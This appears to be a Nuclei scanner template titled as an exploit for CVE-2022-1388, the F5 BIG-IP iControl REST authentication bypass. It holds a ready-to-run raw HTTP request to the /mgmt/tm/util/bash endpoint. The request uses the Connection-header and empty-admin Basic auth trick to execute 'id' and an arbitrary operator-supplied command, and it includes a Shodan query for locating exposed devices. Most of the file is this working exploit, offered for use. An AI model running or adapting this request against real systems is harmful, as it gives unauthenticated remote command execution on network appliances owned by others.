exploit-CVE-2022-1388.yaml

id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl REST Auth Bypass RCE | Command Parameter
  author: Mrcl0wn
  severity: critical
  description: |
    CVE-2022-1388 is an authentication bypass vulnerability in the REST 
    component of BIG-IP’s iControl API that was assigned a CVSSv3 
    score of 9.8. The iControl REST API is used for the management and 
    configuration of BIG-IP devices. CVE-2022-1388 could be exploited 
    by an unauthenticated attacker with network access to the management 
    port or self IP addresses of devices that use BIG-IP. Exploitation would 
    allow the attacker to execute arbitrary system commands, create and 
    delete files and disable services.
  reference:
    - https://github.com/alt3kx/CVE-2022-1388_PoC
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
    - https://github.com/dorkerdevil/CVE-2021-22986-Poc/blob/main/README.md
    - https://github.com/horizon3ai/CVE-2022-1388/blob/main/CVE-2022-1388.py
    - https://www.tenable.com/blog/cve-2022-1388-authentication-bypass-in-f5-big-ip
    - https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.yaml

  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
  metadata:
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
    verified: true
  tags: bigip,mirai,rce,cve,cve2022

variables:
  auth_var: "admin:"
  cmd_var: "{{CMD}}"

requests:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth_var)}}
        Content-Type: application/json

        {
          "command": "run",
          "utilCmdArgs": "-c 'id;cmd_var'"
        }

    extractors:
      - type: regex
        part: body
        name: result_command
        group: 1
        regex:
          - "\"commandResult\":\"(.*)\""
    matchers:
      - type: word
        words:
          - "commandResult"
          - "uid="
          - "{{cmd_var}}"
      - type: status
        status:
          - 200
        condition: and